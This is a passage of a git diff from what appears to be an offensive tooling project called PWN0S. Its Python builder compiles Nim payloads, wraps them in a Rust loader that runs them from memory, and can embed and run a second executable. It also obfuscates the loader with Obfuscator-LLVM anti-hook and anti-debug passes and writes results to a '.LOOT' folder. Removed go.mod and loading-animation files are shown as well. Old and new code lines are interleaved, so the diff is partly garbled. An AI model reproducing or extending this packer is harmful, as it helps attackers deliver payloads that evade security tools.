if merged_code:
|
||||
final_code.append(merged_code[0])
|
||||
for i in range(1, len(merged_code)):
|
||||
if merged_code[i].strip() == "" and merged_code[i-1].strip() == "":
|
||||
continue
|
||||
final_code.append(merged_code[i])
|
||||
|
||||
with open(out_path, "w", encoding="utf-8") as fh:
|
||||
fh.write("\n".join(sorted(merged_imports)))
|
||||
fh.write("\n\n")
|
||||
fh.write("\n".join(final_code))
|
||||
fh.write("\n\n")
|
||||
fh.write("proc main() =\n")
|
||||
for main_content in main_contents:
|
||||
if not main_content:
|
||||
continue
|
||||
fh.write(" block:\n")
|
||||
for line in main_content:
|
||||
fh.write(" " + line + "\n")
|
||||
fh.write("\n")
|
||||
fh.write("when isMainModule:\n")
|
||||
fh.write(" main()\n")
|
||||
|
||||
print(f"[+] Wrote merged Nim file: {out_path}")
|
||||
return out_path
|
||||
|
||||
def patch_nim_file(nim_file: Path, options: list):
|
||||
"""Injects const declarations into a single Nim file."""
|
||||
if options:
|
||||
print(f"[*] Patching {nim_file.name} with options: {options}")
|
||||
content = nim_file.read_text(encoding="utf-8")
|
||||
|
||||
content = apply_options_with_regex(content, options)
|
||||
nim_file.write_text(content, encoding="utf-8")
|
||||
|
||||
def parse_target(target_str):
|
||||
"""Parse the target string into OS and architecture."""
|
||||
try:
|
||||
os_name, arch = target_str.split(":")
|
||||
return os_name, arch
|
||||
except ValueError:
|
||||
print("[Error] Target must be in format os:arch, e.g. windows:amd64")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
def generate_rust_wrapper(nim_exe, final_exe, target_os, target_arch, embed_exe=None, obfuscate=False, ollvm=None):
|
||||
"""Generate a Rust wrapper for the Nim executable using in-memory execution."""
|
||||
final_exe_path = Path(final_exe)
|
||||
package_name = final_exe_path.stem
|
||||
|
||||
if obfuscate:
|
||||
docker_path = shutil.which("docker")
|
||||
if not docker_path:
|
||||
print("[Error] Docker not found. Install Docker to use Obfuscator-LLVM.")
|
||||
sys.exit(1)
|
||||
print(f"[*] Found docker at: {docker_path}")
|
||||
|
||||
with open(nim_exe, 'rb') as f:
|
||||
nim_payload_bytes = f.read()
|
||||
|
||||
nim_payload_array = ','.join(str(b) for b in nim_payload_bytes)
|
||||
|
||||
embed_decl = ""
|
||||
if embed_exe_path:
|
||||
with open(embed_exe_path, "rb") as f:
|
||||
embed_code = ""
|
||||
if embed_exe:
|
||||
with open(embed_exe, "rb") as f:
|
||||
embed_bytes = f.read()
|
||||
embed_bytes_array = ','.join(str(b) for b in embed_bytes)
|
||||
embed_decl = f"const EMBEDDED_EXE: &[u8] = &[{embed_bytes_array}];"
|
||||
@ -35,258 +259,158 @@ def generate_rust_memexec(go_exe_path, output_exe, embed_exe_path=None):
|
||||
memexec::memexec_exe(EMBEDDED_EXE).expect("Failed to execute embedded EXE");
|
||||
}
|
||||
"""
|
||||
|
||||
rust_code = f'''
|
||||
use memexec;
|
||||
|
||||
{embed_decl}
|
||||
const GO_PAYLOAD: &[u8] = &[{go_bytes_array}];
|
||||
const NIM_PAYLOAD: &[u8] = &[{nim_payload_array}];
|
||||
|
||||
fn main() {{
|
||||
{embed_code} unsafe {{
|
||||
memexec::memexec_exe(GO_PAYLOAD).expect("Failed to execute PE from memory");
|
||||
{embed_code}
|
||||
unsafe {{
|
||||
memexec::memexec_exe(NIM_PAYLOAD).expect("Failed to execute Nim payload from memory");
|
||||
}}
|
||||
}}
|
||||
'''
|
||||
temp_dir = tempfile.mkdtemp(prefix="memexec_")
|
||||
try:
|
||||
src_dir = Path(temp_dir) / "src"
|
||||
src_dir.mkdir(parents=True, exist_ok=True)
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
project_dir = Path(tmpdir) / "rust_project"
|
||||
src_dir = project_dir / "src"
|
||||
src_dir.mkdir(parents=True)
|
||||
|
||||
main_rs = src_dir / "main.rs"
|
||||
main_rs.write_text(rust_code)
|
||||
cargo_toml = Path(temp_dir) / "Cargo.toml"
|
||||
cargo_toml.write_text("""
|
||||
print(f"[*] Wrote Rust wrapper source: {main_rs}")
|
||||
|
||||
cargo_toml_content = f"""
|
||||
[package]
|
||||
name = "payload"
|
||||
name = "{package_name}"
|
||||
version = "0.1.0"
|
||||
edition = "2018"
|
||||
|
||||
[dependencies]
|
||||
memexec = { git = "https://github.com/DmitrijVC/memexec", version = "0.3" }
|
||||
""")
|
||||
cargo_config_dir = Path(temp_dir) / ".cargo"
|
||||
cargo_config_dir.mkdir(exist_ok=True)
|
||||
config_toml = cargo_config_dir / "config.toml"
|
||||
config_toml.write_text("""
|
||||
[target.x86_64-pc-windows-gnu]
|
||||
linker = "x86_64-w64-mingw32-gcc"
|
||||
""")
|
||||
loot_dir = Path.cwd() / ".LOOT"
|
||||
loot_dir.mkdir(exist_ok=True)
|
||||
final_exe = loot_dir / output_exe
|
||||
if os.environ.get('PWNOS_DOCKER_OBFUSCATE', '0') == '1':
|
||||
docker_image = "ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest"
|
||||
user_project_dir = str(temp_dir)
|
||||
memexec = {{ git = "https://github.com/DmitrijVC/memexec", version = "0.3" }}
|
||||
"""
|
||||
(project_dir / "Cargo.toml").write_text(cargo_toml_content.strip())
|
||||
|
||||
rust_target = {
|
||||
("windows", "amd64"): "x86_64-pc-windows-gnu",
|
||||
("windows", "arm64"): "aarch64-pc-windows-gnu",
|
||||
("linux", "amd64"): "x86_64-unknown-linux-gnu",
|
||||
("linux", "arm64"): "aarch64-unknown-linux-gnu",
|
||||
("macos", "amd64"): "x86_64-apple-darwin",
|
||||
("macos", "arm64"): "aarch64-apple-darwin"
|
||||
}[(target_os, target_arch)]
|
||||
|
||||
cargo_cmd = [
|
||||
"cargo", "build", "--release", "--target", rust_target
|
||||
]
|
||||
|
||||
if obfuscate:
|
||||
project_path = str(project_dir)
|
||||
volume_mapping = f"{project_path}:/projects"
|
||||
|
||||
if ollvm:
|
||||
for pass_name in ollvm:
|
||||
cargo_cmd.append(f"-Cllvm-args=-enable-{pass_name}")
|
||||
else:
|
||||
cargo_cmd.append("-Cllvm-args=-enable-allobf")
|
||||
|
||||
docker_cmd = [
|
||||
"docker", "run", "--rm",
|
||||
"--platform", "linux/amd64",
|
||||
"-e", "CARGO_BUILD_JOBS=1",
|
||||
"-v", f"{user_project_dir}:/projects/",
|
||||
"-w", "/projects/",
|
||||
docker_image,
|
||||
"cargo", "rustc",
|
||||
"--target", "x86_64-pc-windows-gnu",
|
||||
"--release",
|
||||
"--",
|
||||
"-Cdebuginfo=0",
|
||||
"-Cstrip=symbols",
|
||||
"-Cpanic=abort",
|
||||
"-Copt-level=3",
|
||||
"-Cllvm-args=-enable-acdobf",
|
||||
"-Cllvm-args=-enable-antihook",
|
||||
"-Cllvm-args=-enable-adb",
|
||||
"-Cllvm-args=-enable-bcfobf",
|
||||
"-Cllvm-args=-enable-splitobf",
|
||||
"-Cllvm-args=-enable-subobf",
|
||||
"-Cllvm-args=-enable-fco",
|
||||
"-Cllvm-args=-enable-constenc"
|
||||
"-v", volume_mapping,
|
||||
"-w", "/projects",
|
||||
"ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest",
|
||||
*cargo_cmd
|
||||
]
|
||||
result = subprocess.run(docker_cmd)
|
||||
if result.returncode != 0:
|
||||
print("[Error] Rust build/obfuscation failed")
|
||||
print(f"[*] Running Dockerized cargo rustc command: {' '.join(docker_cmd)}")
|
||||
try:
|
||||
subprocess.run(docker_cmd, check=True, capture_output=True, text=True)
|
||||
except subprocess.CalledProcessError as e:
|
||||
print(f"[Error] Dockerized Rust compilation failed: {e}")
|
||||
print(f"Stdout: {e.stdout}")
|
||||
print(f"Stderr: {e.stderr}")
|
||||
sys.exit(1)
|
||||
built_exe = Path(temp_dir) / "target" / "x86_64-pc-windows-gnu" / "release" / "payload.exe"
|
||||
os.replace(built_exe, final_exe)
|
||||
print(f"Final EXE created at: {final_exe}")
|
||||
else:
|
||||
result = subprocess.run([
|
||||
"cargo", "build", "--release", "--target", "x86_64-pc-windows-gnu"
|
||||
], cwd=temp_dir)
|
||||
if result.returncode != 0:
|
||||
print("[Error] Native Rust build failed")
|
||||
print(f"[*] Running local cargo rustc command: {' '.join(cargo_cmd)}")
|
||||
try:
|
||||
subprocess.run(cargo_cmd, check=True, cwd=project_dir, capture_output=True, text=True)
|
||||
except subprocess.CalledProcessError as e:
|
||||
print(f"[Error] Rust compilation failed: {e}")
|
||||
print(f"Stdout: {e.stdout}")
|
||||
print(f"Stderr: {e.stderr}")
|
||||
sys.exit(1)
|
||||
except FileNotFoundError:
|
||||
print("[Error] 'cargo' command not found. Please ensure Rust is installed and in your PATH.")
|
||||
sys.exit(1)
|
||||
built_exe = Path(temp_dir) / "target" / "x86_64-pc-windows-gnu" / "release" / "payload.exe"
|
||||
os.replace(built_exe, final_exe)
|
||||
print(f"Final EXE created at: {final_exe}")
|
||||
finally:
|
||||
shutil.rmtree(temp_dir, ignore_errors=True)
|
||||
|
||||
def merge_go_modules(go_files, merged_go_path):
|
||||
"""
|
||||
Merges multiple Go files into one, so their main logic runs in order.
|
||||
Writes the merged Go file to merged_go_path.
|
||||
Automatically removes unused imports.
|
||||
"""
|
||||
all_imports = set()
|
||||
func_bodies = []
|
||||
main_funcs = []
|
||||
used_names = set()
|
||||
func_name_to_body = {}
|
||||
|
||||
def unique_func_name(base, used):
|
||||
i = 1
|
||||
name = base
|
||||
while name in used:
|
||||
name = f"{base}_{i}"
|
||||
i += 1
|
||||
used.add(name)
|
||||
return name
|
||||
|
||||
def extract_functions(src):
|
||||
"""Extract all top-level functions from Go source code using a line-based parser."""
|
||||
funcs = []
|
||||
lines = src.splitlines()
|
||||
in_func = False
|
||||
brace_count = 0
|
||||
func_lines = []
|
||||
func_name = None
|
||||
for idx, line in enumerate(lines):
|
||||
if not in_func:
|
||||
match = re.match(r'func\s+([\w]+)\s*\(', line)
|
||||
if match:
|
||||
in_func = True
|
||||
func_name = match.group(1)
|
||||
func_lines = [line]
|
||||
brace_count = line.count('{') - line.count('}')
|
||||
if brace_count == 0 and line.rstrip().endswith('}'):
|
||||
funcs.append((func_name, '\n'.join(func_lines)))
|
||||
in_func = False
|
||||
func_lines = []
|
||||
func_name = None
|
||||
elif in_func:
|
||||
func_lines.append(line)
|
||||
brace_count += line.count('{') - line.count('}')
|
||||
if brace_count == 0:
|
||||
funcs.append((func_name, '\n'.join(func_lines)))
|
||||
in_func = False
|
||||
func_lines = []
|
||||
func_name = None
|
||||
return funcs
|
||||
|
||||
for idx, go_file in enumerate(go_files):
|
||||
with open(go_file, 'r') as f:
|
||||
src = f.read()
|
||||
imports = set()
|
||||
import_block = re.findall(r'import \((.*?)\)', src, re.DOTALL)
|
||||
if import_block:
|
||||
for line in import_block[0].splitlines():
|
||||
line = line.strip().strip('"')
|
||||
if line:
|
||||
imports.add(line)
|
||||
else:
|
||||
single_imports = re.findall(r'import\s+"([^"]+)"', src)
|
||||
imports.update(single_imports)
|
||||
all_imports.update(imports)
|
||||
for func_name, body in extract_functions(src):
|
||||
if func_name == "main":
|
||||
new_name = unique_func_name(f"main_{os.path.splitext(os.path.basename(go_file))[0]}", used_names)
|
||||
body = re.sub(r'func\s+main\s*\(', f'func {new_name}(', body, count=1)
|
||||
main_funcs.append((new_name, body))
|
||||
else:
|
||||
func_bodies.append(body.strip())
|
||||
func_name_to_body[func_name] = body.strip()
|
||||
merged_code = 'package main\n\n'
|
||||
if all_imports:
|
||||
if len(all_imports) > 1:
|
||||
merged_code += 'import (\n'
|
||||
for imp in sorted(all_imports):
|
||||
merged_code += f'\t"{imp}"\n'
|
||||
merged_code += ')\n\n'
|
||||
else:
|
||||
merged_code += f'import "{list(all_imports)[0]}"\n\n'
|
||||
for helper in func_bodies:
|
||||
merged_code += helper + '\n\n'
|
||||
for func_name, main_body in main_funcs:
|
||||
merged_code += main_body.strip() + '\n\n'
|
||||
merged_code += 'func main() {\n'
|
||||
for func_name, _ in main_funcs:
|
||||
merged_code += f'\t{func_name}()\n'
|
||||
merged_code += '}\n'
|
||||
merged_code = remove_unused_imports(merged_code)
|
||||
with open(merged_go_path, 'w') as f:
|
||||
f.write(merged_code)
|
||||
|
||||
def remove_unused_imports(go_code):
|
||||
"""
|
||||
Remove unused imports from a Go source string.
|
||||
"""
|
||||
import_block = re.search(r'import \((.*?)\)', go_code, re.DOTALL)
|
||||
if not import_block:
|
||||
single_imports = re.findall(r'import\s+"([^"]+)"', go_code)
|
||||
for imp in single_imports:
|
||||
if not re.search(r'\b' + re.escape(imp.split('/')[-1]) + r'\b', go_code.split('import')[1]):
|
||||
go_code = re.sub(r'import\s+"' + re.escape(imp) + r'"\n', '', go_code)
|
||||
return go_code
|
||||
block = import_block.group(1)
|
||||
imports = [line.strip().strip('"') for line in block.splitlines() if line.strip()]
|
||||
used_imports = []
|
||||
for imp in imports:
|
||||
symbol = imp.split('/')[-1]
|
||||
if re.search(r'\b' + re.escape(symbol) + r'\b', go_code.split('import')[1]):
|
||||
used_imports.append(imp)
|
||||
if used_imports:
|
||||
new_block = 'import (\n' + ''.join([f'\t"{imp}"\n' for imp in used_imports]) + ')'
|
||||
go_code = re.sub(r'import \((.*?)\)', new_block, go_code, flags=re.DOTALL)
|
||||
else:
|
||||
go_code = re.sub(r'import \((.*?)\)\n', '', go_code, flags=re.DOTALL)
|
||||
return go_code
|
||||
output_binary_name = f"{package_name}.exe" if target_os == "windows" else package_name
|
||||
compiled_binary = project_dir / "target" / rust_target / "release" / output_binary_name
|
||||
if not compiled_binary.exists():
|
||||
print(f"[Error] Compiled binary not found at: {compiled_binary}")
|
||||
sys.exit(1)
|
||||
shutil.move(str(compiled_binary), final_exe_path)
|
||||
print(f"[+] Final executable: {final_exe_path}")
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Go-to-memexec EXE builder for PWN0S")
|
||||
parser.add_argument("--go_file", type=str, help="Path to Go file")
|
||||
parser.add_argument("--output_exe", type=str, help="Output EXE name (in .LOOT)")
|
||||
parser.add_argument("--embed", type=str, help="Path to EXE to embed and run before this module")
|
||||
parser.add_argument("--go-only", action="store_true", help="Only build Go file to EXE, no Rust wrapping")
|
||||
parser.add_argument("--merge", nargs='+', help="List of Go files to merge and run in order (last arg is output exe)")
|
||||
parser.add_argument("--obfuscate", action="store_true", help="Enable obfuscation (use Docker/Rust)")
|
||||
parser = argparse.ArgumentParser(description="Nim-to-EXE Builder")
|
||||
parser.add_argument("--nim_file", type=str, help="Path to a single Nim file")
|
||||
parser.add_argument("--merge", nargs="+", help="List of Nim modules to embed")
|
||||
parser.add_argument("--output_exe", type=str, required=True, help="Output executable name")
|
||||
parser.add_argument("--embed", type=str, help="Path to additional exe to embed & run")
|
||||
parser.add_argument("--nim-only", action="store_true", help="Only build Nim exe (no Rust)")
|
||||
parser.add_argument("--obfuscate", action="store_true", help="Enable Rust OLLVM obfuscation")
|
||||
parser.add_argument("--ollvm", nargs="*", help="OLLVM passes: bcfobf subobf constenc ...")
|
||||
parser.add_argument("--target", type=str, default="windows:amd64", help="Target triple (os:arch)")
|
||||
parser.add_argument("--option", action="append", help="Option to inject as const (e.g., key=value)")
|
||||
|
||||
args = parser.parse_args()
|
||||
if args.obfuscate:
|
||||
os.environ['PWNOS_DOCKER_OBFUSCATE'] = '1'
|
||||
else:
|
||||
os.environ['PWNOS_DOCKER_OBFUSCATE'] = '0'
|
||||
if args.merge:
|
||||
*go_files, output_exe = args.merge
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
merged_go = os.path.join(tmpdir, "merged.go")
|
||||
merge_go_modules(go_files, merged_go)
|
||||
go_exe = os.path.join(tmpdir, "payload.exe")
|
||||
compile_go(merged_go, go_exe)
|
||||
if args.obfuscate:
|
||||
generate_rust_memexec(go_exe, output_exe)
|
||||
else:
|
||||
loot_dir = Path.cwd() / ".LOOT"
|
||||
loot_dir.mkdir(exist_ok=True)
|
||||
final_exe = loot_dir / output_exe
|
||||
os.replace(go_exe, final_exe)
|
||||
print(f"Final EXE created at: {final_exe}")
|
||||
return
|
||||
if args.go_only:
|
||||
if not args.go_file or not args.output_exe:
|
||||
print("--go_file and --output_exe are required with --go-only")
|
||||
sys.exit(1)
|
||||
compile_go(args.go_file, args.output_exe)
|
||||
return
|
||||
else:
|
||||
if not args.go_file or not args.output_exe:
|
||||
print("--go_file and --output_exe are required for default build path")
|
||||
sys.exit(1)
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
go_exe = os.path.join(tmpdir, "payload.exe")
|
||||
compile_go(args.go_file, go_exe)
|
||||
if args.obfuscate:
|
||||
generate_rust_memexec(go_exe, args.output_exe, embed_exe_path=args.embed)
|
||||
else:
|
||||
loot_dir = Path.cwd() / ".LOOT"
|
||||
loot_dir.mkdir(exist_ok=True)
|
||||
final_exe = loot_dir / args.output_exe
|
||||
os.replace(go_exe, final_exe)
|
||||
print(f"Final EXE created at: {final_exe}")
|
||||
|
||||
if args.merge and args.nim_file:
|
||||
print("[Error] Cannot specify both --merge and --nim_file options.")
|
||||
sys.exit(1)
|
||||
if not args.merge and not args.nim_file:
|
||||
print("[Error] Must specify either --merge or --nim_file.")
|
||||
sys.exit(1)
|
||||
|
||||
target_os, target_arch = parse_target(args.target)
|
||||
|
||||
final_exe_path_str = args.output_exe
|
||||
if target_os == "windows" and not final_exe_path_str.lower().endswith(".exe"):
|
||||
final_exe_path_str += ".exe"
|
||||
print(f"[+] Corrected output name to: {Path(final_exe_path_str).name}")
|
||||
|
||||
final_exe = Path(final_exe_path_str).resolve()
|
||||
final_exe.parent.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
tmp_dir = Path(tmpdir)
|
||||
if args.merge:
|
||||
loot_dir = final_exe.parent
|
||||
launcher_source = merge_nim_modules(args.merge, loot_dir, options=args.option)
|
||||
else:
|
||||
launcher_source = Path(args.nim_file)
|
||||
patch_nim_file(launcher_source, args.option)
|
||||
|
||||
suffix = ".exe" if target_os == "windows" else ""
|
||||
nim_exe_tmp = tmp_dir / f"{final_exe.stem}_nim_payload{suffix}"
|
||||
compile_nim(launcher_source, nim_exe_tmp, target_os, target_arch)
|
||||
|
||||
if not args.nim_only and target_os == 'windows':
|
||||
print("[*] Generating Rust wrapper to embed Nim payload.")
|
||||
generate_rust_wrapper(
|
||||
str(nim_exe_tmp),
|
||||
final_exe,
|
||||
target_os, target_arch,
|
||||
embed_exe=args.embed,
|
||||
obfuscate=args.obfuscate,
|
||||
ollvm=args.ollvm
|
||||
)
|
||||
else:
|
||||
if not args.nim_only and target_os != 'windows':
|
||||
print(f"[*] Skipping Rust wrapper for non-Windows target ({target_os}).")
|
||||
shutil.move(str(nim_exe_tmp), final_exe)
|
||||
print(f"[+] Final executable: {final_exe}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
16
go.mod
@ -1,16 +0,0 @@
|
||||
module BLACKWALL
|
||||
|
||||
go 1.24.4
|
||||
|
||||
require (
|
||||
github.com/atotto/clipboard v0.1.4
|
||||
github.com/go-rod/rod v0.116.2
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/ysmood/fetchup v0.2.3 // indirect
|
||||
github.com/ysmood/goob v0.4.0 // indirect
|
||||
github.com/ysmood/got v0.40.0 // indirect
|
||||
github.com/ysmood/gson v0.7.3 // indirect
|
||||
github.com/ysmood/leakless v0.9.0 // indirect
|
||||
)
|
||||
18
go.sum
@ -1,18 +0,0 @@
|
||||
github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4=
|
||||
github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI=
|
||||
github.com/go-rod/rod v0.116.2 h1:A5t2Ky2A+5eD/ZJQr1EfsQSe5rms5Xof/qj296e+ZqA=
|
||||
github.com/go-rod/rod v0.116.2/go.mod h1:H+CMO9SCNc2TJ2WfrG+pKhITz57uGNYU43qYHh438Mg=
|
||||
github.com/ysmood/fetchup v0.2.3 h1:ulX+SonA0Vma5zUFXtv52Kzip/xe7aj4vqT5AJwQ+ZQ=
|
||||
github.com/ysmood/fetchup v0.2.3/go.mod h1:xhibcRKziSvol0H1/pj33dnKrYyI2ebIvz5cOOkYGns=
|
||||
github.com/ysmood/goob v0.4.0 h1:HsxXhyLBeGzWXnqVKtmT9qM7EuVs/XOgkX7T6r1o1AQ=
|
||||
github.com/ysmood/goob v0.4.0/go.mod h1:u6yx7ZhS4Exf2MwciFr6nIM8knHQIE22lFpWHnfql18=
|
||||
github.com/ysmood/gop v0.2.0 h1:+tFrG0TWPxT6p9ZaZs+VY+opCvHU8/3Fk6BaNv6kqKg=
|
||||
github.com/ysmood/gop v0.2.0/go.mod h1:rr5z2z27oGEbyB787hpEcx4ab8cCiPnKxn0SUHt6xzk=
|
||||
github.com/ysmood/got v0.40.0 h1:ZQk1B55zIvS7zflRrkGfPDrPG3d7+JOza1ZkNxcc74Q=
|
||||
github.com/ysmood/got v0.40.0/go.mod h1:W7DdpuX6skL3NszLmAsC5hT7JAhuLZhByVzHTq874Qg=
|
||||
github.com/ysmood/gotrace v0.6.0 h1:SyI1d4jclswLhg7SWTL6os3L1WOKeNn/ZtzVQF8QmdY=
|
||||
github.com/ysmood/gotrace v0.6.0/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM=
|
||||
github.com/ysmood/gson v0.7.3 h1:QFkWbTH8MxyUTKPkVWAENJhxqdBa4lYTQWqZCiLG6kE=
|
||||
github.com/ysmood/gson v0.7.3/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3RNmg=
|
||||
github.com/ysmood/leakless v0.9.0 h1:qxCG5VirSBvmi3uynXFkcnLMzkphdh3xx5FtrORwDCU=
|
||||
github.com/ysmood/leakless v0.9.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ=
|
||||
69
loading.py
@ -1,69 +0,0 @@
|
||||
import random
|
||||
import time
|
||||
import os
|
||||
import string
|
||||
import threading
|
||||
from contextlib import contextmanager
|
||||
RED = "\033[38;2;204;103;102m"
|
||||
RESET = "\033[0m"
|
||||
def clear_screen():
|
||||
os.system('cls' if os.name == 'nt' else 'clear')
|
||||
def generate_random_code():
|
||||
first = random.choice(string.digits + string.ascii_uppercase)
|
||||
second = random.choice(string.digits + string.ascii_uppercase)
|
||||
return f"{first}{second}"
|
||||
def generate_random_matrix():
|
||||
return [[generate_random_code() for _ in range(4)] for _ in range(5)]
|
||||
def display_matrix():
|
||||
matrix = generate_random_matrix()
|
||||
for row in matrix:
|
||||
for cell in row:
|
||||
if random.random() < 0.3:
|
||||
print(f"\033[43m\033[93m{cell:^4}\033[0m", end=" ")
|
||||
else:
|
||||
print(f"{RED}{cell:^4}{RESET}", end=" ")
|
||||
print()
|
||||
print()
|
||||
def loading_simulation(duration=5):
|
||||
start_time = time.time()
|
||||
while time.time() - start_time < duration:
|
||||
display_matrix()
|
||||
time.sleep(0.2)
|
||||
if __name__ == "__main__":
|
||||
loading_simulation()
|
||||
def show_loading_screen(loading_message=None, duration=None, print_ascii_art=None, YELLOW="\033[93m"):
|
||||
import sys
|
||||
start_time = time.time()
|
||||
while time.time() - start_time < (duration if duration is not None else 2):
|
||||
clear_screen()
|
||||
if print_ascii_art:
|
||||
print_ascii_art()
|
||||
if loading_message:
|
||||
print(f"\n{YELLOW}[~] {loading_message}{RESET}\n")
|
||||
matrix = generate_random_matrix()
|
||||
for row in matrix:
|
||||
for cell in row:
|
||||
if random.random() < 0.3:
|
||||
print(f"\033[43m\033[93m{cell:^4}\033[0m", end=" ")
|
||||
else:
|
||||
print(f"{RED}{cell:^4}{RESET}", end=" ")
|
||||
print()
|
||||
print()
|
||||
sys.stdout.flush()
|
||||
time.sleep(0.2)
|
||||
@contextmanager
|
||||
def loading_state(message=None, duration=2, print_ascii_art=None):
|
||||
stop_flag = [False]
|
||||
def animate():
|
||||
while not stop_flag[0]:
|
||||
show_loading_screen(loading_message=message, duration=0.8, print_ascii_art=print_ascii_art)
|
||||
t = threading.Thread(target=animate)
|
||||
t.start()
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
stop_flag[0] = True
|
||||
t.join()
|
||||
clear_screen()
|
||||
if print_ascii_art:
|
||||
print_ascii_art()
|
||||